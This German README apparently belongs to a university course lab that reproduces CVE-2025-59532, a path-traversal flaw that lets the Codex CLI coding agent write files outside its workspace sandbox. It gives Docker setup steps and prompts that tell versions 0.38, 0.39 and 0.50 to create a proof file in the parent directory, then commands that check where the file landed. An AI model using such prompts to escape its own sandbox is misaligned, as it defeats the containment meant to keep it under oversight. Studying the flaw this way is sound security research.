
Eine Docker-basierte Forschungsumgebung zur Analyse von CVE-2025-59532, einer Path-Traversal-Schwachstelle in der OpenAI Codex CLI, die beliebiges Schreiben von Dateien außerhalb der vorgesehenen Workspace-Sandbox ermöglicht. Teil des CMU-Kurses: 18-739 Hacking & Offensive Security im Herbst 2025.
Eine Docker-basierte Forschungsumgebung zur Analyse von CVE-2025-59532, einer Path-Traversal-Schwachstelle in der OpenAI Codex CLI, die das Schreiben beliebiger Dateien außerhalb der vorgesehenen Workspace-Sandbox ermöglicht. Teil des CMU-Kurses: 18-739 Hacking & Offensive Security im Herbst 2025
Zuerst dieses Repository klonen:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
Oder bei Verwendung von SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 ist eine Path-Traversal-Schwachstelle im OpenAI-Codex-CLI-Tool, die es Angreifern ermöglicht, Dateien außerhalb des vorgesehenen Workspace-Verzeichnisses zu schreiben und dabei Sandbox-Beschränkungen zu umgehen.
../exploit.txt), und so die Workspace-Sandbox zu umgehen, selbst wenn --sandbox workspace-write aktiviert ist.Die Schwachstelle nutzt eine unzureichende Pfadvalidierung in der Implementierung der Workspace-Sandbox aus. Wenn der Sandbox-Modus workspace-write aktiviert ist, sollte Codex Dateioperationen auf das festgelegte Workspace-Verzeichnis beschränken. In v0.38.0 schlägt die Pfadvalidierung jedoch bei der ordnungsgemäßen Behandlung relativer Path-Traversal-Sequenzen (../) fehl, sodass ein Angreifer Dateien außerhalb der Sandbox schreiben kann, indem er die KI anweist, Verweise auf übergeordnete Verzeichnisse zu verwenden.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
Diese Docker-Umgebung enthält drei Versionen der Codex CLI:
Sobald Sie sich im Container befinden, konfigurieren Sie Ihren OpenAI-API-Schlüssel, indem Sie Codex einfach im interaktiven Modus ausführen und den API-Schlüssel dort einfügen:
codex
Der API-Schlüssel wird in ~/.config/codex/auth.json gespeichert und von allen Codex-Versionen (codex38, codex39, codex50) verwendet.
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
Hinweis: Der Workspace befindet sich unter /workspace/child. Die Schwachstelle ermöglicht das Schreiben nach /workspace (dem übergeordneten Verzeichnis).
Verwundbare Version testen (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Gepatchte Version testen (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Neueste Version testen (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Den Exploit verifizieren:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
Um detaillierte Debug-Protokolle der Codex-Ausführung zu sehen:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Die Debug-Protokolle zeigen: